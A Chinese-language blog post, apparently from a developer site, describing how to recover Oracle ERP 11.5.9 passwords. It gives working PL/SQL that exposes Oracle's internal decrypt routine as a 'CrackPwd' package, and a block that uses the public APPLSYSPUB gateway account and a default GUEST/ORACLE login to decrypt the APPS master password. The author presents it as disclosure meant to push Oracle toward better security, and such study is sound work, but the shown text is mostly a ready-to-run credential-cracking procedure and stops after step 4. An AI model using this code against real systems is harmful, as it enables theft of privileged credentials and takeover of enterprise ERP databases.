破解Oracle ERP 密码

[img]http://dl2.iteye.com/upload/attachment/0095/6559/bccae523-5f8d-389b-83a0-c7e0533afe30.jpg[/img]
1. 写作目的 1
2. 利用Toad或其它pl/sql工具在Oracle ERPDatabase中建立Package,源码如下...1

(1).建立Package Header1

(2).建立Package Body. 1

3. 取得APPS密码的步骤 2

4. 通过任何一个User name/password取得APPS密码的方法 2

5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法...3

6. 通过上面建立的Package取得所有Oracle ERPApplication User 密码的方法...3

7. 通过上面建立的Package取得所有Oracle ERPDatabase User密码的方法...3

8. 删除第一步建立的Package 3

9. 结论 3

10. 提高Oracle ERP的安全性 4

11. 此程序在Oracle ERP 11.5.9通过Toad测试通过.4

1. 写作目的

在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.

公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.

2. 利用Toad或其它pl/sql工具在OracleERP Database中建立Package,源码如下

(1).建立Package Header

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2;

END CrackPwd;
(2).建立Package Bdy

CREATE OR REPLACE PACKAGE BODY CrackPwd

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2

AS

LANGUAGE JAVA

NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END CrackPwd;

/

3. 取得APPS密码的步骤

假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢?我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码

4. 通过任何一个Username/password取得APPS密码的方法

SET SERVEROUTPUT ON

DECLARE

guestUserPwd VARCHAR2(200);

guestUserName VARCHAR2(100);

guestFndPwd VARCHAR2(100);

guestEncFndPwd VARCHAR2(100);

delim NUMBER;

BEGIN

guestUserPwd :='GUEST/ORACLE';--Can any user password

IF guestUserPwd IS NULL THEN

guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));

END IF;

delim := INSTR(guestUserPwd,'/');

guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

SELECT encrypted_foundation_password INTO guestEncFndPwd

FROM fnd_user_view

WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

(end_date IS NULL OR end_date > SYSDATE);

guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

IF NOT (guestFndPwd IS NULL) THEN

DBMS_OUTPUT.put_line(guestFndPwd);

END IF;

END;
注: guestUserPwd :='GUEST/ORACLE';--Can any userpassword

上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开

以上程序可以用toad执行
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值